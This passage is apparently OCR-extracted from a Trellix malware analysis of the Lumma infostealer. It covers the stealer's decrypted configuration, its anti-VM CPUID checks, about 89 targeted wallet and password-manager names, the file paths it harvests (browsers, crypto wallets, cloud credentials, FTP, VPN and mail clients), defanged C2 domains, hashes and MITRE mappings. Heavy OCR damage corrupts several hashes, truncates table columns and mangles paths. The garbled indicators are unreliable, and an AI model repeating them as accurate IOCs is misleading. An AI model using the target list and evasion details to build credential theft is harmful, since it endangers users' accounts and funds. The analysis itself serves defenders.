"dlcobpjiigpikocbohmabehhmhfoodbb”,
"AgrentX"

"Jjgaaimajipbpdogpdglhaphldakikgef™,
"Coinhub”

"fcfcfllfndlomdhbehijjcoimbgofdncg”,
"LeapWallet”

"lgmpcpglpngdoalbgeoldeajfclnhafa”,
"Safepal”

"hdokiejnpimakedhajhdlcegeplioahd”,
"LastPass™

Figure 23: Decrypted Response containing build version, wallethames

Anti-VM

Analysing the JSON file, the "v" property indicates the version of Lumma. The "se" property which is set to “true” appears to be responsible

for taking screenshots.

The "vm" property is set to “false” in this sample, but when enabled, Lumma uses the "CPUID" instruction to check if it's running in a virtual

machine environment.

The CPUID function passed with an EAX value of 0x40000000, and the return value in ECX is compared against the following VM values:

o 564B4D56 - VMware
o 43544743 - QEMU

e 4D566572 - VMware

o 786F4256 - VirtualBox
e 65584D4D - Xen

Exfiltration

Lumma's configuration includes around 89 application names related to wallets, crypto applications, password managers, authentication

apps, payment apps, and more, which are targeted for exfiltration.

Wallets targeted

. MetaMask
. 1Password
. Braavos

. AgrentX

. Coinhub

. LeapWallet
. Safepal

~N o s WN =
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. LastPass

. RoninWallet
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44,
45,
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.

BladeWallet
Evernote
MultiversXWallet
ForniterWallet
FluviWallet
GlassWallet
MorphisWallet
XVerseWallet
CompasWallet
HavahWallet
SuiWallet
VenomWallet
MetaMask
TrustWallet
TronLink
RoninWallet
OKX

BinanceChainWallet

Yoroi

Nifty

Math
Coinbase
Guarda
EQUA
JaxxLiberty
BitApp

iWIt
EnKrypt
Wombat
MEWCX
Guild
Saturn
NeoLine
Clover
Rabby
Pontem
Martian
Bitwarden
Nami

Petra

Sui
ExodusWeb3
Sub
PolkadotJS
Talisman
CryptoCom
Liquality
TerraStation
Keplr
Sollet

Auro
Polymesh
ICONex
Nabox
KHC
Temple
TezBox
DAppPlay
BitClip
SteemKeychain
NashExtension
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71. HyconlLiteClient

72. ZilPay

73. Coin98

74. Authenticator

75. Cyano

76. Byone

77. OneKey

78. Leaf

79. Solflare

80. MagicEden

81. Backpack

82. Authy

83. EOSAuthenticator
84. GAuthAuthenticator
85. TrezorPasswordManager
86. Phantom

87. UniSat

88. Rainbow

89. BitgetWallet

In addition to application names, the Lumma configuration includes paths to browsers, wallets, FTP applications, VPN software, Telegram,
cloud-service provider applications, Anydesk, and password managers. Below table highlights the directory path(p), search terms(m),
destination path(z), directory recurse depth(d) and exfiltration filesize(fs) - which is typically 20971520(20 MB).

Here is a table based on the provided JSON data:

t  Directory path (p)

0 Y%appdata%\Ethereum

0 Y%appdata%\Exodus\exodus.wallet
%appdata%\LedgerLive
%appdata%\atomic\LocalStorage\leveldb
%appdata%\Armory
%localappdata%\Coinomi\Coinomi\wallets
%appdata%\AuthyDesktop\LocalStorage\leveldb

Y%appdata%)\Bitcoin\wallets

o O O o o o o

%appdata%)\Binance

0 Y%appdata%\com.liberty.jaxx\IndexedDB
0 %appdata%\Electrum\wallets

0 Y%appdata%)\Electrum-LTC\wallets

0 %appdata%\ElectronCash\wallets

0 %appdata%\Guarda\IndexedDB
%appdata%\DashCore\wallets

%appdata%\WalletWasabi\Client\Wallets

o o o

%appdata%\DaedalusMainnet\wallets

1  %localappdata%\Google\Chrome\UserData

1  %localappdata%\Google\ChromeBeta\UserData

Searc

keyst:

app-s
print.f
windc

*.dat

she.*.
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o o o o NN

o o o o o

%appdata%\OperaSoftware\OperaStable
%localappdata%\OperaSoftware\OperaNeon\UserData
Y%appdata%\OperaSoftware\OperaGXStable

%localappdata%\Microsoft\Edge\UserData

%localappdata%\BraveSoftware\Brave-Browser\UserData

%localappdata%!\EpicPrivacyBrowser\UserData
%localappdata%)\Vivaldi\UserData
%localappdata%\Maxthon\UserData
%localappdata%!\Iridium\UserData
Y%localappdata%\AVG\Browser\UserData
Y%localappdata%)\Tencent\QQBrowser\UserData
Y%localappdata%\360Browser\Browser\UserData
%localappdata%\SuperBrowser\UserData\BrowserWorkbench_1
%localappdata%\CentBrowser\UserData
Y%localappdata%\Chedot\UserData
%localappdata%\CocCoc\Browser\UserData
%appdata%\Mozilla\Firefox\Profiles
%appdata%\Waterfox\Profiles
%appdata%\MoonchildProductions\PaleMoon\Profiles
%userprofile%

%localappdata%\1Password

%appdata%)\Bitwarden

%appdata%\NordPass

Y%userprofile%

%userprofile%\Desktop
%appdata%\TelegramDesktop
Y%programfiles%\TelegramDesktop

Y% programw6432%\TelegramDesktop

%localappdata%\Packages\TelegramMessengerLLP.TelegramDesktop_t4vjOpshhgkwm\LocalCache\Roaming\TelegramDesktopUWP

%appdata%\FileZilla

Y%appdata%\GHISLER

Y%userprofile%
Y%programdata%\SiteDesigner\3D-FTP
%appdata%\SmartFTP\Client2.0\Favorites

%appdata%\FTPGetter

* kbd:
.sqlite
data,j

nordp
nordp

seed,
metar
wallet

*txt

*s

recen
sitem.
wex_d
site.xi
sites.i

*

serve
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0 %appdata%\FTPbox profile

0 Y%appdata%\FTPInfo Serve
0 %appdata%\FTPRush Rush:
0 %programfiles%\FTPCommanderDeluxe FTPL
0 %localappdata%\DeskShareData\F TPManagerLite FTPN
0 %localappdata%\DeskShareData\AutoF TPManager AutoF
0 %appdata%\OpenVPNConnect confic
0 %localappdata%\NordVPN\NordVPN.exe Path_5foiwugOgwlftdgafkjoxggcuggyshwn user.c
0 %localappdata%\ProtonVPN\ProtonVPN_Url_cmnccr2xp2ofmvhgllyOhaihuyzzghOi user.c
0 Y%appdata%\AnyDesk *.coni
0 %appdata%\gcloud *.db,

0 %userprofile%.azure
0 %userprofile%.aws

0 %localappdata%.ldentityService msal.:
Table 5 : Lumma’s configuration extracted from the JSON response

The image below illustrates the file paths that Lumma searches. If a specified path is found, the file is read and stored in the designated
directory path before being exfiltrated to C2.

Operation Path Result

[/ CreateFile CiUsers) \AppData\Roaming\Authy Desktop\Local Storage\leveldb PATHNOT FOUND
[/ CreateFile CilUsers) \AppData\Roaming\Bitcoin\wallets PATHNOT FOUND
I','—!ICreaT.eFiIe Ci\Users) \AppData\Roaming\Bitcoin\wallets PATHMNOT FOUND
[ CreateFile C:\Users\ \AppData\Roaming\Binance NAME NOT FOUND
[ CreateFile C:\Users) \AppData\Roaming\Binance NAME MOT FOUND
[+] CreateFile Ci\Users) \AppData\Roaming\Binance NAME NOT FOUND
[ CreateFile CiUsers) \AppData\Roaming\Binance NAME NOT FOUND
[/ CreateFile CiUsers) \AppData\Roaming\Binance NAME NOT FOUND
[/ CreateFile CiUsers) \AppData\Roaming\Binance NAME NOT FOUND
[/ CreateFile CilUsers) \AppData\Roaming\Binance NAME NOT FOUND
[+ CreateFile CiUsers) \AppData\Roaming\Binance NAME NOT FOUND
[ CreateFile C:\Users\ \AppData\Roaming\com liberty jaxd\IndexedDB PATHNOT FOUND
[ CreateFile C:\Users) \AppData\Roaming\com.liberty jaxx\IndexedDB PATHNOT FOUND
[ CreateFile Ci\Users) \AppData\Roaming\Electrumiwallets PATHNOT FOUND
[ CreateFile CiUsers) \AppData\Roaming\Electrum-LTCiwallets PATHMNOT FOUND
[/ CreateFile CiUsers) \AppData\Roaming\ElectronCashiwallets PATHNOT FOUND
[/ CreateFile CiUsers) \AppData\Roaming\Guarda\IndexedDB PATHMNOT FOUND
[/ CreateFile CilUsers) \AppData\Roaming\GuardalindexedDB PATHNOT FOUND
[~]CreateFile CiUsers) \AppData\Roaming\DashCorelwallets PATHMNOT FOUND
[ CreateFile Ci\Users) \AppData\Roaming\DashCore\wallets PATHNOT FOUND
[ CreateFile C:\Users) \AppData\Roaming\W alletW asabi\ClientWallets PATHNOT FOUND
[/ CreateFile CilUsers) \AppData\Roaming\Daedalus Mainnetiwallets PATHNOT FOUND
=/ QueryStandardl... C:\Users\ \AppData\Local\Google\Chrome\User Data\Last Version SUCCESS
[/ReadFile CiUsers) \AppData\Local\Google\Chrome\User Data\Last Version SUCCESS

[ /ReadFile CilUsers) \AppDatalLocal\Google\Chrome\User Data\Last Version SUCCESS

[ CloseFile CiUsers) \AppData\Local\Google\Chrome\User Data\Last Version SUCCESS

[ CreateFile CiAUsers) \AppData\Local\Google\Chrome\User Data\Local State SUCCESS

[=] QueryStandardl... C:\Users), \AppData\Local\Google\Chrome\User Data\Local State SLICCESS
[+/ReadFile CilUsers) \AppData\Local\Google\Chrome\User DatalLocal State SUCCESS

[ ReadFile Ci\Users) \AppData\Local\Google\Chrome\User Data\Local State SUCCESS

[/ CloseFile CiUsers) \AppData\Local\Google\Chrome\User Data\Local State SUCCESS

[/ CreateFile Ci\Users) \AppData\Local\Google\Chrome\User DatalLocal Extension Settings\ejbalbakoplchlghecdalmeeegnimhm ~ PATHNOT FOUND
[ CreateFile C:\Users\ \AppData\Local\Google\Chrome\User Data\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplijncoa PATHNOT FOUND
[ CreateFile C:\Users\ \AppData\Local\Google\Chrome\User Data\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma PATHNOT FOUND
[ CreateFile C\Users) \AppData\Local\Google\Chrome\User Data\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb PATH NOT FOUND
[ CreateFile C:\Users) \AppData\Local\Google\Chrome\User Data\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef PATHNOT FOUND
[/ CreateFile CilUsers) \AppDatalLocal\Google\Chrome\User Data\Local Extension Settings\fcfcfliindlomdhbehjjcoimbgofdneg PATHNOT FOUND
[t~/ CreateFile C:\Users), \AppData\Local\Google\Chrome\User Data\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfcinhafa PATHNOT FOUND

Pire. casrae T R S A S S S SN S S s e S e S e D N e L R L e PATIL I RIAT AL Inm

Figure 24: Lumma'’s File activities recorded
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Lumma is also capable of stealing data from below listed mail applications,

e TheBat
* Pegasus
o Mailbird
o EmClient

b

r

Figure 25: Config JSON - Mail Clients

Conclusion

S
"%appdata%\\TheBat!",

* _TRE",
* _TBN",
* MsSc",
* EML",
* _MSB",
* _mbox"™,
* _ABD",
* _FLX",
* _TBR",
* HBI™,
*_txe™

"MailClients/TheBat",

“r
"C:\\PMAIL",
[

* _CNM",

* _PMF",

* _DMN",

*  PML",
*CACHE . EM",
* .WEM",
T

* ISR

"MailClients/Pegasus",

= ]

r
"$localappdatat\\Mailbird\\Store",

[
5 dn"

"MailClients/Mailbird™,

35

In conclusion, Lumma Stealer continues to pose a significant threat to data security. It constantly adapts its TTPs and payloads to bypass
security defenses. Trellix remains committed to persevering in the fight against this ever-evolving malware, ensuring the protection of our

customers' data.

10C’s and artifacts

http:[//]blast-hubs.com/
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https://www.trellix.com/en-us/img/newsroom/stories/lumma-infostealer-25.jpg

http:[//]blastikcn.com/

http:[//]generalmills.pro/

http:[//lmercharena.biz/

http:[//Inaturewsounds.help/

http:[//Inestlecompany.pro/

http:[//]stormlegue.com/

https:[//]nikolay-romanov[.]su/

80741061ccb6a337cbdf1b1b75c4fcfae7dd6ccde8ecc333fcae7beccabdc8861 (Lumma)
e9e568dce12ca4392001860c693292203b2bfcbbb277a484e4d2ebb5b0449207 (Lumma)
1345ad4c782c91049a16ec9f01b04bfc83a4f0e1e259cfed2b535f8ec6b75590 (Lumma)
4abe068f8e8632a9074556f2adb39dd2c52a1bf631abbf5bfd47888059¢35350 (Lumma)
629618eb8225361b068a11ce07f46eefd0ce4098266f274f0d56b75fb5a77321 (Lumma)
7034406778028fd6edbb340fdaeddbbec3d1f8665e8332063edc75dfaee482d1 (Lumma)
aa2dfa4e02b2eb688c7ba0d29619e082214251930e39727e35b53a436766825a (Lumma)
c2ab516bb3a39832d963770d813ab77027d454a087ad9fae8ce24336a78f9073 (Lumma)
c340bf332f68794afa171c68efadfOb1e742e4ad577582adfed61567a65aa91c (Lumma)
e52f5fcfc8034e46e0f3ff826d437ce69f7d9da30019115008f823c9b7{fb929 (Lumma)
eb69158f493de304592e67de21a42cd094693bda13fb211c46353248706df696 (Lumma)
253cdcfd6f8b6e52133bc59df92563e432b335d2a207f2f8e01fac2423ccbac8 (Powershell script)
90e35b4a519af394e32cd09d34c6d5f60b31726672aa41e37e2163c387f96a75 (Powershell script)
B3428248caa364461d4521e2ff3c853228c38f9dc2fb5bcc9049e6652bb94ba2 (Lumma payload)
B33648806f28bae6d57103a2081df7d8e8dd03db586c03057f9c60e9ac3b2bcO (Lumma payload)
101edeabfde77d3a2d3877042a72bed101973d0c511ba031e6e27785d48f61fd (GOO.dIl)

A7f7a3c408c4839fb2dc28b7fc99f64f464d4e1aeedd75293937769626962¢18 (GOO.dll)

Tactics, Techniques, and Procedures

Tactic Technique Sub- Use
Technique
ID
Defense Obfuscated Files or Information  T1027 Implements Code flow obfuscation
Evasion
Impair Defenses: Disable or T1562 Disables Process instrumentation callback hooks
Modify Tools
Obfuscated Files or Information:  T1027 Uses API resolving technique to dynamically resolve APIs

Dynamic AP| Resolution

Discovery System Information Discovery T1082 Collects system informations such as username, Computer name, User
Default Language, HWID, RAM size, CPU/GPU information,
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https://attack.mitre.org/techniques/T1027/
https://attack.mitre.org/techniques/T1562/
https://attack.mitre.org/techniques/T1027/
https://attack.mitre.org/techniques/T1082/

File and Directory Discovery.

Collection Automated Collection

Data from Local System

Clipboard Data
Screen Capture

Command Encrypted Channel
and Control

Trellix ENS detections

9eaede7e8981fc39c0ccbed5e8ee2bf3/

T1083

T1119

T1005

T1115

T1113

T1573

Collects process and installed software information

Collects data automatically based on C2 server JSON response
Steals system data

Steals clipboard data

Performs Screen capture

Uses encryption to conceal exfiltrated data

Lummal9EAEDE7E8981

80741061ccb6a337cbdf1b1b75c4fcfae7dd6ccde8ecc333fcae7beccabdc8861

fbcf8775e7fb3ac822f8f67f2fe990e/

LummalFBCF8775E7FB

€9e568dce12ca4392001860c693292203b2bfcbbb277a484e4d2ebb5b0449207

Trellix EDR Detections

_Api_PE_header_WriteProcessMemory2 Wrote PE header into remote process (PE file DOS header)

_api_process_hollowed_regasm
_apt_process_regdotnet
_process_psloadassembly
_script_base64_dos_header
_process_api_getlogicaldriveSW
_api_apc_injection

_process_ce_lolbin

Discover the latest cybersecurity research from the Trellix Advanced Research Center: https://www.trellix.com/advanced-research-center/

RECENT STORIES

Suspicious process injection by Regasm.exe or Regsvcs.exe (process hollowing)

Manipulated .NET Component Object Model (COM) assemblies

Invoked methods from .Net Assemblies via PowerShell and Reflection API

Script executed includes encoded DOS header

Suspicious process performed File and Directory discovery via GetLogicalDriveStringsW API

(Exploratory) APC Injection via NtQueueApcThread API (Variation)

Created and executed LOLBIN binary (potential malware behaviour)

Get the latest

Stay up to date with the latest cybersecurity trends, best practices, security vulnerabilities, and so much more.

Please enter a valid email address.

Zero spam. Unsubscribe at any time.
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https://attack.mitre.org/techniques/T1083/
https://attack.mitre.org/techniques/T1119/
https://attack.mitre.org/techniques/T1005/
https://attack.mitre.org/techniques/T1115/
https://attack.mitre.org/techniques/T1113/
https://attack.mitre.org/techniques/T1573/
https://www.trellix.com/en-ca/advanced-research-center/

